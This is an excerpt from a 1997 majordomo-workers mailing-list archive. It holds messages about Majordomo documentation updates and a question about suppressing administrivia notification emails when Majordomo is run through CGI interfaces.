<340901e5.5896125@world.std.com> <340842e9.8054088@world.std.com> In-Reply-To: <340842e9.8054088@world.std.com> X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Decided my first attempt at actually writing anything should be potentially useful -- so tried to put together an "administrivia" note. Somewhat FAQish, but more prolix. Also added a link to the True FAQ. Nothing else to speak of yet. If anyone has the time to look at the note (click the obvious link at http://world.std.com/~jkahila/mj-docs.html) I would appreciate any corrections/suggestions that seem called for. Thanks. john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Sun Aug 31 08:00:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA25756 for majordomo-workers-outgoing; Sun, 31 Aug 1997 07:45:36 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id HAA25749 for ; Sun, 31 Aug 1997 07:45:31 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id KAA08589; Sun, 31 Aug 1997 10:50:52 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA29463; Sun, 31 Aug 1997 10:50:50 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@greatcircle.com Subject: minor doc updates Date: Sun, 31 Aug 1997 10:51:06 -0400 Message-Id: <340b825e.9457887@world.std.com> X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk A few minor updates -- not docs per se, just infrastructure items. http://world.std.com/~jkahila/mj-docs.html now includes links to the searchable archives of both m-w and m-u. http://world.std.com/~jkahila/md20/docs/config-vars/ is finally non-empty. It now contains a list of the main config variables classified by group (with duplications), plus a very skimpy start of an ERD. (Why is the ERD with the config vars, you ask? Will do something about that sooner or later.) If the variable list appears to embody misunderstandings, please advise (assuming anybody has time to look at it of course). The ERD is mostly for me to play around with as time allows; I am not likely to put a lot of energy into it unless somebody else finds it useful. john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Sun Aug 31 14:45:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA13304 for majordomo-workers-outgoing; Sun, 31 Aug 1997 14:32:40 -0700 (PDT) Received: from cirrus.thunderstorm.net ([209.5.36.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id OAA13297 for ; Sun, 31 Aug 1997 14:32:33 -0700 (PDT) Received: from [204.191.149.40] (ts41-09.tor.iSTAR.ca [204.191.149.40]) by cirrus.thunderstorm.net (8.8.5/8.8.5) with ESMTP id RAA02491 for ; Sun, 31 Aug 1997 17:33:53 -0400 (EDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 31 Aug 1997 17:44:21 -0400 To: majordomo-workers@greatcircle.com From: Drew Skinner Subject: Majordomo / CGI interfaces Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi; I have scripted several CGI interfaces to Majordomo and am (by and large) running Majordomo totally from the WWW environment. I'm not great with PERL so I thought I'd pose the following: Is there any way I can edit the source code of Majordomo to prevent it from sending the administrivia messages such as: >>joe bloe has been added to some-list No action is required on your part. >>> Blah blah, blah! I am currently setting up bogus mail accounts for these mail messages and having the CRON wipe them out nightly. Can I eliminate them altogether ? Drew.